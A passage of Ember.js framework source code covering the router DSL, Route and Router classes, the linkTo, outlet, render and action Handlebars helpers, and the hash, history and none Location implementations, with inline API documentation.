&& this.parent !== 'application') { name = this.parent + "." + name; } this.push(options.path, name); }, generate: function() { var dslMatches = this.matches; if (!this.explicitIndex) { this.route("index", { path: "/" }); } return function(match) { for (var i=0, l=dslMatches.length; i<l; i++) { var dslMatch = dslMatches[i]; match(dslMatch[0]).to(dslMatch[1], dslMatch[2]); } }; } }; DSL.map = function(callback) { var dsl = new DSL(); callback.call(dsl); return dsl; }; Ember.RouterDSL = DSL; })(); (function() { /** @module ember @submodule ember-routing */ Ember.controllerFor = function(container, controllerName, context) { return container.lookup('controller:' + controllerName) || Ember.generateController(container, controllerName, context); }; Ember.generateController = function(container, controllerName, context) { var controller; if (context && Ember.isArray(context)) { controller = Ember.ArrayController.extend({ content: context }); } else if (context) { controller = Ember.ObjectController.extend({ content: context }); } else { controller = Ember.Controller.extend(); } controller.toString = function() { return "(generated " + controllerName + " controller)"; }; container.register('controller', controllerName, controller); return container.lookup('controller:' + controllerName); }; })(); (function() { /** @module ember @submodule ember-routing */ var Router = requireModule("router"); var get = Ember.get, set = Ember.set, classify = Ember.String.classify; var DefaultView = Ember._MetamorphView; function setupLocation(router) { var location = get(router, 'location'), rootURL = get(router, 'rootURL'); if ('string' === typeof location) { location = set(router, 'location', Ember.Location.create({ implementation: location })); if (typeof rootURL === 'string') { set(location, 'rootURL', rootURL); } } } /** The `Ember.Router` class manages the application state and URLs. Refer to the [routing guide](http://emberjs.com/guides/routing/) for documentation. @class Router @namespace Ember @extends Ember.Object */ Ember.Router = Ember.Object.extend({ location: 'hash', init: function() { this.router = this.constructor.router; this._activeViews = {}; setupLocation(this); }, startRouting: function() { this.router = this.router || this.constructor.map(Ember.K); var router = this.router, location = get(this, 'location'), container = this.container, self = this; setupRouter(this, router, location); container.register('view', 'default', DefaultView); container.register('view', 'toplevel', Ember.View.extend()); this.handleURL(location.getURL()); location.onUpdateURL(function(url) { self.handleURL(url); }); }, didTransition: function(infos) { // Don't do any further action here if we redirected for (var i=0, l=infos.length; i<l; i++) { if (infos[i].handler.transitioned) { return; } } var appController = this.container.lookup('controller:application'), path = routePath(infos); set(appController, 'currentPath', path); this.notifyPropertyChange('url'); if (get(this, 'namespace').LOG_TRANSITIONS) { Ember.Logger.log("Transitioned into '" + path + "'"); } }, handleURL: function(url) { this.router.handleURL(url); this.notifyPropertyChange('url'); }, transitionTo: function(name) { var args = [].slice.call(arguments); doTransition(this, 'transitionTo', args); }, replaceWith: function() { var args = [].slice.call(arguments); doTransition(this, 'replaceWith', args); }, generate: function() { var url = this.router.generate.apply(this.router, arguments); return this.location.formatURL(url); }, isActive: function(routeName) { var router = this.router; return router.isActive.apply(router, arguments); }, send: function(name, context) { if (Ember.$ && context instanceof Ember.$.Event) { context = context.context; } this.router.trigger(name, context); }, hasRoute: function(route) { return this.router.hasRoute(route); }, _lookupActiveView: function(templateName) { var active = this._activeViews[templateName]; return active && active[0]; }, _connectActiveView: function(templateName, view) { var existing = this._activeViews[templateName]; if (existing) { existing[0].off('willDestroyElement', this, existing[1]); } var disconnect = function() { delete this._activeViews[templateName]; }; this._activeViews[templateName] = [view, disconnect]; view.one('willDestroyElement', this, disconnect); } }); Ember.Router.reopenClass({ defaultFailureHandler: { setup: function(error) { Ember.Logger.error('Error while loading route:', error); // Using setTimeout allows us to escape from the Promise's try/catch block setTimeout(function() { throw error; }); } } }); function getHandlerFunction(router) { var seen = {}, container = router.container; return function(name) { var handler = container.lookup('route:' + name); if (seen[name]) { return handler; } seen[name] = true; if (!handler) { if (name === 'loading') { return {}; } if (name === 'failure') { return router.constructor.defaultFailureHandler; } container.register('route', name, Ember.Route.extend()); handler = container.lookup('route:' + name); } handler.routeName = name; return handler; }; } function handlerIsActive(router, handlerName) { var handler = router.container.lookup('route:' + handlerName), currentHandlerInfos = router.router.currentHandlerInfos, handlerInfo; for (var i=0, l=currentHandlerInfos.length; i<l; i++) { handlerInfo = currentHandlerInfos[i]; if (handlerInfo.handler === handler) { return true; } } return false; } function routePath(handlerInfos) { var path = []; for (var i=1, l=handlerInfos.length; i<l; i++) { var name = handlerInfos[i].name, nameParts = name.split("."); path.push(nameParts[nameParts.length - 1]); } return path.join("."); } function setupRouter(emberRouter, router, location) { var lastURL; router.getHandler = getHandlerFunction(emberRouter); var doUpdateURL = function() { location.setURL(lastURL); }; router.updateURL = function(path) { lastURL = path; Ember.run.once(doUpdateURL); }; if (location.replaceURL) { var doReplaceURL = function() { location.replaceURL(lastURL); }; router.replaceURL = function(path) { lastURL = path; Ember.run.once(doReplaceURL); }; } router.didTransition = function(infos) { emberRouter.didTransition(infos); }; } function doTransition(router, method, args) { var passedName = args[0], name; if (!router.router.hasRoute(args[0])) { name = args[0] = passedName + '.index'; } else { name = passedName; } router.router[method].apply(router.router, args); router.notifyPropertyChange('url'); } Ember.Router.reopenClass({ map: function(callback) { var router = this.router = new Router(); var dsl = Ember.RouterDSL.map(function() { this.resource('application', { path: "/" }, function() { callback.call(this); }); }); router.map(dsl.generate()); return router; } }); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set, classify = Ember.String.classify, decamelize = Ember.String.decamelize; Ember.Route = Ember.Object.extend({ exit: function() { this.deactivate(); teardownView(this); }, enter: function() { this.activate(); }, /** This hook is executed when the router completely exits this route. It is not executed when the model for the route changes. */ deactivate: Ember.K, /** This hook is executed when the router enters the route for the first time. It is not executed when the model for the route changes. */ activate: Ember.K, /** Transition into another route. Optionally supply a model for the route in question. The model will be serialized into the URL using the `serialize` hook. @method transitionTo @param {String} name the name of the route @param {...Object} models the */ transitionTo: function() { this.transitioned = true; return this.router.transitionTo.apply(this.router, arguments); }, /** Transition into another route while replacing the current URL if possible. Identical to `transitionTo` in all other respects. @method replaceWith @param {String} name the name of the route @param {...Object} models the */ replaceWith: function() { this.transitioned = true; return this.router.replaceWith.apply(this.router, arguments); }, send: function() { return this.router.send.apply(this.router, arguments); }, /** @private This hook is the entry point for router.js @method setup */ setup: function(context) { this.transitioned = false; this.redirect(context); if (this.transitioned) { return false; } var controller = this.controllerFor(this.routeName, context); if (controller) { this.controller = controller; set(controller, 'model', context); } if (this.setupControllers) { this.setupControllers(controller, context); } else { this.setupController(controller, context); } if (this.renderTemplates) { this.renderTemplates(context); } else { this.renderTemplate(controller, context); } }, /** A hook you can implement to optionally redirect to another route. If you call `this.transitionTo` from inside of this hook, this route will not be entered in favor of the other hook. @method redirect @param {Object} model the model for this route */ redirect: Ember.K, /** @private The hook called by `router.js` to convert parameters into the context for this handler. The public Ember hook is `model`. @method deserialize */ deserialize: function(params) { var model = this.model(params); return this.currentModel = model; }, /** @private Called when the context is changed by router.js. */ contextDidChange: function() { this.currentModel = this.context; }, /** A hook you can implement to convert the URL into the model for this route. ```js App.Route.map(function(match) { match("/posts/:post_id").to("post"); }); ``` The model for the `post` route is `App.Post.find(params.post_id)`. By default, if your route has a dynamic segment ending in `_id`: * The model class is determined from the segment (`post_id`'s class is `App.Post`) * The find method is called on the model class with the value of the dynamic segment. @method model @param {Object} params the parameters extracted from the URL */ model: function(params) { var match, name, sawParams, value; for (var prop in params) { if (match = prop.match(/^(.*)_id$/)) { name = match[1]; value = params[prop]; } sawParams = true; } if (!name && sawParams) { return params; } else if (!name) { return; } var className = classify(name), namespace = this.router.namespace, modelClass = namespace[className]; return modelClass.find(value); }, /** A hook you can implement to convert the route's model into parameters for the URL. ```js App.Route.map(function(match) { match("/posts/:post_id").to("post"); }); App.PostRoute = Ember.Route.extend({ model: function(params) { // the server returns `{ id: 12 }` return jQuery.getJSON("/posts/" + params.post_id); }, serialize: function(model) { // this will make the URL `/posts/12` return { post_id: model.id }; } }); ``` The default `serialize` method inserts the model's `id` into the route's dynamic segment (in this case, `:post_id`). This method is called when `transitionTo` is called with a context in order to populate the URL. @method serialize @param {Object} model the route's model @param {Array} params an Array of parameter names for the current route (in the example, `['post_id']`. @return {Object} the serialized parameters */ serialize: function(model, params) { if (params.length !== 1) { return; } var name = params[0], object = {}; if (/_id$/.test(name)) { object[name] = get(model, 'id'); } else { object[name] = model; } return object; }, /** A hook you can use to setup the controller for the current route. This method is called with the controller for the current route and the model supplied by the `model` hook. ```js App.Route.map(function(match) { match("/posts/:post_id").to("post"); }); ``` For the `post` route, the controller is `App.PostController`. By default, the `setupController` hook sets the `content` property of the controller to the `model`. If no explicit controller is defined, the route will automatically create an appropriate controller for the model: * if the model is an `Ember.Array` (including record arrays from Ember Data), the controller is an `Ember.ArrayController`. * otherwise, the controller is an `Ember.ObjectController`. This means that your template will get a proxy for the model as its context, and you can act as though the model itself was the context. @method setupController */ setupController: Ember.K, /** Returns the controller for a particular route. ```js App.PostRoute = Ember.Route.extend({ setupController: function(controller, post) { this._super(controller, post); this.controllerFor('posts').set('currentPost', post); } }); ``` By default, the controller for `post` is the shared instance of `App.PostController`. @method controllerFor @param {String} name the name of the route @param {Object} model the model associated with the route (optional) @return {Ember.Controller} */ controllerFor: function(name, model) { var container = this.router.container, controller = container.lookup('controller:' + name); if (!controller) { model = model || this.modelFor(name); controller = Ember.generateController(container, name, model); } return controller; }, /** Returns the current model for a given route. This is the object returned by the `model` hook of the route in question. @method modelFor @param {String} name the name of the route @return {Object} the model object */ modelFor: function(name) { var route = this.container.lookup('route:' + name); return route && route.currentModel; }, /** A hook you can use to render the template for the current route. This method is called with the controller for the current route and the model supplied by the `model` hook. By default, it renders the route's template, configured with the controller for the route. This method can be overridden to set up and render additional or alternative templates. @method renderTemplate @param {Object} controller the route's controller @param {Object} model the route's model */ renderTemplate: function(controller, model) { this.render(); }, /** Renders a template into an outlet. This method has a number of defaults, based on the name of the route specified in the router. For example: ```js App.Router.map(function(match) { match("/").to("index"); match("/posts/:post_id").to("post"); }); App.PostRoute = App.Route.extend({ renderTemplate: function() { this.render(); } }); ``` The name of the `PostRoute`, as defined by the router, is `post`. By default, render will: * render the `post` template * with the `post` view (`PostView`) for event handling, if one exists * and the `post` controller (`PostController`), if one exists * into the `main` outlet of the `application` template You can override this behavior: ```js App.PostRoute = App.Route.extend({ renderTemplate: function() { this.render('myPost', { // the template to render into: 'index', // the template to render into outlet: 'detail', // the name of the outlet in that template controller: 'blogPost' // the controller to use for the template }); } }); ``` Remember that the controller's `content` will be the route's model. In this case, the default model will be `App.Post.find(params.post_id)`. @method render @param {String} name the name of the template to render @param {Object} options the options */ render: function(name, options) { if (typeof name === 'object' && !options) { options = name; name = this.routeName; } name = name ? name.replace(/\//g, '.') : this.routeName; var container = this.container, view = container.lookup('view:' + name), template = container.lookup('template:' + name); if (!view && !template) { return; } options = normalizeOptions(this, name, template, options); view = setupView(view, container, options); if (options.outlet === 'main') { this.lastRenderedTemplate = name; } appendView(this, view, options); }, willDestroy: function() { teardownView(this); } }); function parentRoute(route) { var handlerInfos = route.router.router.currentHandlerInfos; var parent, current; for (var i=0, l=handlerInfos.length; i<l; i++) { current = handlerInfos[i].handler; if (current === route) { return parent; } parent = current; } } function parentTemplate(route, isRecursive) { var parent = parentRoute(route), template; if (!parent) { return; } if (template = parent.lastRenderedTemplate) { return template; } else { return parentTemplate(parent, true); } } function normalizeOptions(route, name, template, options) { options = options || {}; options.into = options.into ? options.into.replace(/\//g, '.') : parentTemplate(route); options.outlet = options.outlet || 'main'; options.name = name; options.template = template; var controller = options.controller, namedController; if (options.controller) { controller = options.controller; } else if (namedController = route.container.lookup('controller:' + name)) { controller = namedController; } else { controller = route.routeName; } if (typeof controller === 'string') { controller = route.container.lookup('controller:' + controller); } options.controller = controller; return options; } function setupView(view, container, options) { var defaultView = options.into ? 'view:default' : 'view:toplevel'; view = view || container.lookup(defaultView); if (!get(view, 'templateName')) { set(view, 'template', options.template); set(view, '_debugTemplateName', options.name); } set(view, 'renderedName', options.name); set(view, 'controller', options.controller); return view; } function appendView(route, view, options) { if (options.into) { var parentView = route.router._lookupActiveView(options.into); route.teardownView = teardownOutlet(parentView, options.outlet); parentView.connectOutlet(options.outlet, view); } else { var rootElement = get(route, 'router.namespace.rootElement'); route.router._connectActiveView(options.name, view); route.teardownView = teardownTopLevel(view); view.appendTo(rootElement); } } function teardownTopLevel(view) { return function() { view.destroy(); }; } function teardownOutlet(parentView, outlet) { return function() { parentView.disconnectOutlet(outlet); }; } function teardownView(route) { if (route.teardownView) { route.teardownView(); } delete route.teardownView; delete route.lastRenderedTemplate; } })(); (function() { })(); (function() { var get = Ember.get, set = Ember.set; Ember.onLoad('Ember.Handlebars', function(Handlebars) { var resolveParams = Ember.Handlebars.resolveParams, isSimpleClick = Ember.ViewUtils.isSimpleClick; function fullRouteName(router, name) { if (!router.hasRoute(name)) { name = name + '.index'; } return name; } function resolvedPaths(options) { var types = options.options.types.slice(1), data = options.options.data; return resolveParams(options.context, options.params, { types: types, data: data }); } function args(linkView, router, route) { var passedRouteName = route || linkView.namedRoute, routeName; routeName = fullRouteName(router, passedRouteName); var ret = [ routeName ]; return ret.concat(resolvedPaths(linkView.parameters)); } var LinkView = Ember.View.extend({ tagName: 'a', namedRoute: null, currentWhen: null, title: null, activeClass: 'active', replace: false, attributeBindings: ['href', 'title'], classNameBindings: 'active', active: Ember.computed(function() { var router = this.get('router'), params = resolvedPaths(this.parameters), currentWithIndex = this.currentWhen + '.index', isActive = router.isActive.apply(router, [this.currentWhen].concat(params)) || router.isActive.apply(router, [currentWithIndex].concat(params)); if (isActive) { return get(this, 'activeClass'); } }).property('namedRoute', 'router.url'), router: Ember.computed(function() { return this.get('controller').container.lookup('router:main'); }), click: function(event) { if (!isSimpleClick(event)) { return true; } event.preventDefault(); if (this.bubbles === false) { event.stopPropagation(); } var router = this.get('router'); if (this.get('replace')) { router.replaceWith.apply(router, args(this, router)); } else { router.transitionTo.apply(router, args(this, router)); } }, href: Ember.computed(function() { var router = this.get('router'); return router.generate.apply(router, args(this, router)); }) }); LinkView.toString = function() { return "LinkView"; }; Ember.Handlebars.registerHelper('linkTo', function(name) { var options = [].slice.call(arguments, -1)[0]; var params = [].slice.call(arguments, 1, -1); var hash = options.hash; hash.namedRoute = name; hash.currentWhen = hash.currentWhen || name; hash.parameters = { context: this, options: options, params: params }; return Ember.Handlebars.helpers.view.call(this, LinkView, options); }); }); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; Ember.onLoad('Ember.Handlebars', function(Handlebars) { /** @module ember @submodule ember-handlebars */ Handlebars.OutletView = Ember.ContainerView.extend(Ember._Metamorph); /** The `outlet` helper allows you to specify that the current view's controller will fill in the view for a given area. ``` handlebars {{outlet}} ``` By default, when the the current controller's `view` property changes, the outlet will replace its current view with the new view. You can set the `view` property directly, but it's normally best to use `connectOutlet`. ``` javascript # Instantiate App.PostsView and assign to `view`, so as to render into outlet. controller.connectOutlet('posts'); ``` You can also specify a particular name other than `view`: ``` handlebars {{outlet masterView}} {{outlet detailView}} ``` Then, you can control several outlets from a single controller. ``` javascript # Instantiate App.PostsView and assign to controller.masterView. controller.connectOutlet('masterView', 'posts'); # Also, instantiate App.PostInfoView and assign to controller.detailView. controller.connectOutlet('detailView', 'postInfo'); ``` @method outlet @for Ember.Handlebars.helpers @param {String} property the property on the controller that holds the view for this outlet */ Handlebars.registerHelper('outlet', function(property, options) { var outletSource; if (property && property.data && property.data.isRenderData) { options = property; property = 'main'; } outletSource = options.data.view; while (!(outletSource.get('template.isTop'))){ outletSource = outletSource.get('_parentView'); } options.data.view.set('outletSource', outletSource); options.hash.currentViewBinding = '_view.outletSource._outlets.' + property; return Handlebars.helpers.view.call(this, Handlebars.OutletView, options); }); }); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; Ember.onLoad('Ember.Handlebars', function(Handlebars) { /** Renders the named template in the current context using the singleton instance of the same-named controller. If a view class with the same name exists, uses the view class. If a `model` is specified, it becomes the model for that controller. The default target for `{{action}}`s in the rendered template is the named controller. @method action @for Ember.Handlebars.helpers @param {String} actionName @param {Object?} model @param {Hash} options */ Ember.Handlebars.registerHelper('render', function(name, contextString, options) { var container, router, controller, view, context; if (arguments.length === 2) { options = contextString; contextString = undefined; } if (typeof contextString === 'string') { context = Ember.Handlebars.get(options.contexts[1], contextString, options); } name = name.replace(/\//g, '.'); container = options.data.keywords.controller.container; router = container.lookup('router:main'); view = container.lookup('view:' + name) || container.lookup('view:default'); if (controller = options.hash.controller) { controller = container.lookup('controller:' + controller); } else { controller = Ember.controllerFor(container, name, context); } if (controller && context) { controller.set('model', context); } var root = options.contexts[1]; if (root) { view.registerObserver(root, contextString, function() { controller.set('model', Ember.Handlebars.get(root, contextString, options)); }); } controller.set('target', options.data.keywords.controller); options.hash.viewName = Ember.String.camelize(name); options.hash.template = container.lookup('template:' + name); options.hash.controller = controller; if (router) { router._connectActiveView(name, view); } Ember.Handlebars.helpers.view.call(this, view, options); }); }); })(); (function() { /** @module ember @submodule ember-routing */ Ember.onLoad('Ember.Handlebars', function(Handlebars) { var resolveParams = Ember.Handlebars.resolveParams, isSimpleClick = Ember.ViewUtils.isSimpleClick; var EmberHandlebars = Ember.Handlebars, handlebarsGet = EmberHandlebars.get, SafeString = EmberHandlebars.SafeString, get = Ember.get, a_slice = Array.prototype.slice; function args(options, actionName) { var ret = []; if (actionName) { ret.push(actionName); } var types = options.options.types.slice(1), data = options.options.data; return ret.concat(resolveParams(options.context, options.params, { types: types, data: data })); } var ActionHelper = EmberHandlebars.ActionHelper = { registeredActions: {} }; ActionHelper.registerAction = function(actionName, options) { var actionId = (++Ember.uuid).toString(); ActionHelper.registeredActions[actionId] = { eventName: options.eventName, handler: function(event) { if (!isSimpleClick(event)) { return true; } event.preventDefault(); if (options.bubbles === false) { event.stopPropagation(); } var view = options.view, contexts = options.contexts, target = options.target; if (target.target) { target = handlebarsGet(target.root, target.target, target.options); } else { target = target.root; } if (target.send) { return target.send.apply(target, args(options.parameters, actionName)); } else { return target[actionName].apply(target, args(options.parameters)); } } }; options.view.on('willClearRender', function() { delete ActionHelper.registeredActions[actionId]; }); return actionId; }; /** The `{{action}}` helper registers an HTML element within a template for DOM event handling and forwards that interaction to the view's controller or supplied `target` option (see 'Specifying a Target'). If the view's controller does not implement the event, the event is sent to the current route, and it bubbles up the route hierarchy from there. User interaction with that element will invoke the supplied action name on the appropriate target. Given the following Handlebars template on the page ```handlebars <script type="text/x-handlebars" data-template-name='a-template'> <div {{action anActionName}}> click me </div> </script> ``` And application code ```javascript AController = Ember.Controller.extend({ anActionName: function() {} }); AView = Ember.View.extend({ controller: AController.create(), templateName: 'a-template' }); aView = AView.create(); aView.appendTo('body'); ``` Will results in the following rendered HTML ```html <div class="ember-view"> <div data-ember-action="1"> click me </div> </div> ``` Clicking "click me" will trigger the `anActionName` method of the `AController`. In this case, no additional parameters will be passed. If you provide additional parameters to the helper: ```handlebars <button {{action 'edit' post}}>Edit</button> ``` Those parameters will be passed along as arguments to the JavaScript function implementing the action. ### Event Propagation Events triggered through the action helper will automatically have `.preventDefault()` called on them. You do not need to do so in your event handlers. To also disable bubbling, pass `bubbles=false` to the helper: ```handlebars <button {{action 'edit' post bubbles=false}}>Edit</button> ``` If you need the default handler to trigger you should either register your own event handler, or use event methods on your view class. See `Ember.View` 'Responding to Browser Events' for more information. ### Specifying DOM event type By default the `{{action}}` helper registers for DOM `click` events. You can supply an `on` option to the helper to specify a different DOM event name: ```handlebars <script type="text/x-handlebars" data-template-name='a-template'> <div {{action anActionName on="doubleClick"}}> click me </div> </script> ``` See `Ember.View` 'Responding to Browser Events' for a list of acceptable DOM event names. NOTE: Because `{{action}}` depends on Ember's event dispatch system it will only function if an `Ember.EventDispatcher` instance is available. An `Ember.EventDispatcher` instance will be created when a new `Ember.Application` is created. Having an instance of `Ember.Application` will satisfy this requirement. ### Specifying a Target There are several possible target objects for `{{action}}` helpers: In a typical Ember application, where views are managed through use of the `{{outlet}}` helper, actions will bubble to the current controller, then to the current route, and then up the route hierarchy. Alternatively, a `target` option can be provided to the helper to change which object will receive the method call. This option must be a path path to an object, accessible in the current context: ```handlebars <script type="text/x-handlebars" data-template-name='a-template'> <div {{action anActionName target="MyApplication.someObject"}}> click me </div> </script> ``` Clicking "click me" in the rendered HTML of the above template will trigger the `anActionName` method of the object at `MyApplication.someObject`. If an action's target does not implement a method that matches the supplied action name an error will be thrown. ```handlebars <script type="text/x-handlebars" data-template-name='a-template'> <div {{action aMethodNameThatIsMissing}}> click me </div> </script> ``` With the following application code ```javascript AView = Ember.View.extend({ templateName; 'a-template', // note: no method 'aMethodNameThatIsMissing' anActionName: function(event) {} }); aView = AView.create(); aView.appendTo('body'); ``` Will throw `Uncaught TypeError: Cannot call method 'call' of undefined` when "click me" is clicked. ### Additional Parameters You may specify additional parameters to the `{{action}}` helper. These parameters are passed along as the arguments to the JavaScript function implementing the action. ```handlebars <script type="text/x-handlebars" data-template-name='a-template'> {{#each person in people}} <div {{action edit person}}> click me </div> {{/each}} </script> ``` Clicking "click me" will trigger the `edit` method on the current view's controller with the current person as a parameter. @method action @for Ember.Handlebars.helpers @param {String} actionName @param {Object...} contexts @param {Hash} options */ EmberHandlebars.registerHelper('action', function(actionName) { var options = arguments[arguments.length - 1], contexts = a_slice.call(arguments, 1, -1); var hash = options.hash, view = options.data.view, controller, link; // create a hash to pass along to registerAction var action = { eventName: hash.on || "click" }; action.parameters = { context: this, options: options, params: contexts }; action.view = view = get(view, 'concreteView'); var root, target; if (hash.target) { root = this; target = hash.target; } else if (controller = options.data.keywords.controller) { root = controller; } action.target = { root: root, target: target, options: options }; action.bubbles = hash.bubbles; var actionId = ActionHelper.registerAction(actionName, action); return new SafeString('data-ember-action="' + actionId + '"'); }); }); })(); (function() { var get = Ember.get, set = Ember.set; Ember.Handlebars.registerHelper('control', function(path, modelPath, options) { if (arguments.length === 2) { options = modelPath; modelPath = undefined; } var model; if (modelPath) { model = Ember.Handlebars.get(this, modelPath, options); } var controller = options.data.keywords.controller, view = options.data.keywords.view, children = get(controller, '_childContainers'), controlID = options.hash.controlID, container, subContainer; if (children.hasOwnProperty(controlID)) { subContainer = children[controlID]; } else { container = get(controller, 'container'), subContainer = container.child(); children[controlID] = subContainer; } var normalizedPath = path.replace(/\//g, '.'); var childView = subContainer.lookup('view:' + normalizedPath) || subContainer.lookup('view:default'), childController = subContainer.lookup('controller:' + normalizedPath), childTemplate = subContainer.lookup('template:' + path); set(childController, 'target', controller); set(childController, 'model', model); options.hash.template = childTemplate; options.hash.controller = childController; function observer() { var model = Ember.Handlebars.get(this, modelPath, options); set(childController, 'model', model); childView.rerender(); } Ember.addObserver(this, modelPath, observer); childView.one('willDestroyElement', this, function() { Ember.removeObserver(this, modelPath, observer); }); Ember.Handlebars.helpers.view.call(this, childView, options); }); })(); (function() { })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; Ember.ControllerMixin.reopen({ transitionToRoute: function() { var target = get(this, 'target'); return target.transitionTo.apply(target, arguments); }, // TODO: Deprecate this, see https://github.com/emberjs/ember.js/issues/1785 transitionTo: function() { return this.transitionToRoute.apply(this, arguments); }, replaceRoute: function() { var target = get(this, 'target'); return target.replaceWith.apply(target, arguments); }, // TODO: Deprecate this, see https://github.com/emberjs/ember.js/issues/1785 replaceWith: function() { return this.replaceRoute.apply(this, arguments); } }); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; Ember.View.reopen({ init: function() { set(this, '_outlets', {}); this._super(); }, connectOutlet: function(outletName, view) { var outlets = get(this, '_outlets'), container = get(this, 'container'), router = container && container.lookup('router:main'), renderedName = get(view, 'renderedName'); set(outlets, outletName, view); if (router && renderedName) { router._connectActiveView(renderedName, view); } }, disconnectOutlet: function(outletName) { var outlets = get(this, '_outlets'); set(outlets, outletName, null); } }); })(); (function() { })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; /* This file implements the `location` API used by Ember's router. That API is: getURL: returns the current URL setURL(path): sets the current URL replaceURL(path): replace the current URL (optional) onUpdateURL(callback): triggers the callback when the URL changes formatURL(url): formats `url` to be placed into `href` attribute Calling setURL or replaceURL will not trigger onUpdateURL callbacks. TODO: This should perhaps be moved so that it's visible in the doc output. */ /** Ember.Location returns an instance of the correct implementation of the `location` API. You can pass it a `implementation` ('hash', 'history', 'none') to force a particular implementation. @class Location @namespace Ember @static */ Ember.Location = { create: function(options) { var implementation = options && options.implementation; var implementationClass = this.implementations[implementation]; return implementationClass.create.apply(implementationClass, arguments); }, registerImplementation: function(name, implementation) { this.implementations[name] = implementation; }, implementations: {} }; })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; /** Ember.NoneLocation does not interact with the browser. It is useful for testing, or when you need to manage state with your Router, but temporarily don't want it to muck with the URL (for example when you embed your application in a larger page). @class NoneLocation @namespace Ember @extends Ember.Object */ Ember.NoneLocation = Ember.Object.extend({ path: '', getURL: function() { return get(this, 'path'); }, setURL: function(path) { set(this, 'path', path); }, onUpdateURL: function(callback) { // We are not wired up to the browser, so we'll never trigger the callback. }, formatURL: function(url) { // The return value is not overly meaningful, but we do not want to throw // errors when test code renders templates containing {{action href=true}} // helpers. return url; } }); Ember.Location.registerImplementation('none', Ember.NoneLocation); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; /** Ember.HashLocation implements the location API using the browser's hash. At present, it relies on a hashchange event existing in the browser. @class HashLocation @namespace Ember @extends Ember.Object */ Ember.HashLocation = Ember.Object.extend({ init: function() { set(this, 'location', get(this, 'location') || window.location); }, /** @private Returns the current `location.hash`, minus the '#' at the front. @method getURL */ getURL: function() { return get(this, 'location').hash.substr(1); }, /** @private Set the `location.hash` and remembers what was set. This prevents `onUpdateURL` callbacks from triggering when the hash was set by `HashLocation`. @method setURL @param path {String} */ setURL: function(path) { get(this, 'location').hash = path; set(this, 'lastSetURL', path); }, /** @private Register a callback to be invoked when the hash changes. These callbacks will execute when the user presses the back or forward button, but not after `setURL` is invoked. @method onUpdateURL @param callback {Function} */ onUpdateURL: function(callback) { var self = this; var guid = Ember.guidFor(this); Ember.$(window).bind('hashchange.ember-location-'+guid, function() { var path = location.hash.substr(1); if (get(self, 'lastSetURL') === path) { return; } set(self, 'lastSetURL', null); callback(location.hash.substr(1)); }); }, /** @private Given a URL, formats it to be placed into the page as part of an element's `href` attribute. This is used, for example, when using the {{action}} helper to generate a URL based on an event. @method formatURL @param url {String} */ formatURL: function(url) { return '#'+url; }, willDestroy: function() { var guid = Ember.guidFor(this); Ember.$(window).unbind('hashchange.ember-location-'+guid); } }); Ember.Location.registerImplementation('hash', Ember.HashLocation); })(); (function() { /** @module ember @submodule ember-routing */ var get = Ember.get, set = Ember.set; var popstateReady = false; /** Ember.HistoryLocation implements the location API using the browser's history.pushState API. @class HistoryLocation @namespace Ember @extends Ember.Object */ Ember.HistoryLocation = Ember.Object.extend({ init: function() { set(this, 'location', get(this, 'location') || window.location); this.initState(); }, /** @private Used to set state on first call to setURL @method initState */ initState: function() { this.replaceState(this.formatURL(this.getURL())); set(this, 'history', window.history); }, /** Will be pre-pended to path upon state change @property rootURL @default '/' */ rootURL: '/', /** @private Returns the current `location.pathname` without rootURL @method getURL */ getURL: function() { var rootURL = get(this, 'rootURL'), url = get(this, 'location').pathname; rootURL = rootURL.replace(/\/$/, ''); url = url.replace(rootURL, ''); return url; }, /** @private Uses `history.pushState` to update the url without a page reload. @method setURL @param path {String} */ setURL: function(path) { path = this.formatURL(path); if (this.getState() && this.getState().path !== path) { popstateReady = true; this.pushState(path); } }, /** @private Uses `history.replaceState` to update the url without a page reload or history modification. @method replaceURL @param path {String} */ replaceURL: function(path) { path = this.formatURL(path); if (this.getState() && this.getState().path !== path) { popstateReady = true; this.replaceState(path); } }, /** @private Get the current `history.state` @method getState */ getState: function() { return get(this, 'history').state; }, /** @private Pushes a new state @method pushState @param path {String} */ pushState: function(path) { window.history.pushState({ path: path }, null, path); }, /** @private Replaces the current state @method replaceState @param path {String} */ replaceState: function(path) { window.history.replaceState({ path: path }, null, path); }, /** @private Register a callback to be invoked whenever the browser history changes, including using forward and back buttons. @method onUpdateURL @param callback {Function} */ onUpdateURL: function(callback) { var guid = Ember.guidFor(this), self = this; Ember.$(window).bind('popstate.ember-location-'+guid, function(e) { if(!popstateReady) { return; } callback(self.getURL()); }); }, /** @private Used when using `{{action}}` helper. The url is always appended to the rootURL. @method formatURL @param url {String} */ formatURL: function(url) { var rootURL = get(this, 'rootURL'); if (url !== '') { rootURL = rootURL.replace(/\/$/, ''); } return rootURL + url; }, willDestroy: function() { var guid = Ember.guidFor(this); Ember.$(window).unbind('popstate.ember-location-'+guid); } }); Ember.Location.registerImplementation('history', Ember.HistoryLocation); })(); (function() { })(); (function() { /** Ember Routing @module ember @submodule ember-routing @requires ember-states @requires ember-views */ })(); (function() { function visit(vertex, fn, visited, path) { var name = vertex.name, vertices = vertex.incoming, names = vertex.incomingNames, len = names.length, i; if (!visited) { visited = {}; } if (!path) { path = []; } if (visited.hasOwnProperty(name)) { return; } path.push(name); visited[name] = true; for (i = 0; i < len; i++) { visit(vertices[names[i]], fn, visited, path); } fn(vertex, path); path.pop(); } function DAG() { this.names = []; this.vertices = {}; } DAG.prototype.add = function(name) { if (!name) { return; } if (this.vertices.hasOwnProperty(name)) { return this.vertices[name]; } var vertex = { name: name, incoming: {}, incomingNames: [], hasOutgoing: false, value: null }; this.vertices[name] = vertex; this.names.push(name); return vertex; }; DAG.prototype.map = function(name, value) { this.add(name).value = value; }; DAG.prototype.addEdge = function(fromName, toName) { if (!fromName || !toName || fromName === toName) { return; } var from = this.add(fromName), to = this.add(toName); if (to.incoming.hasOwnProperty(fromName)) { return; } function checkCycle(vertex, path) { if (vertex.name === toName) { throw new Error("cycle detected: " + toName + " <- " + path.join(" <- ")); 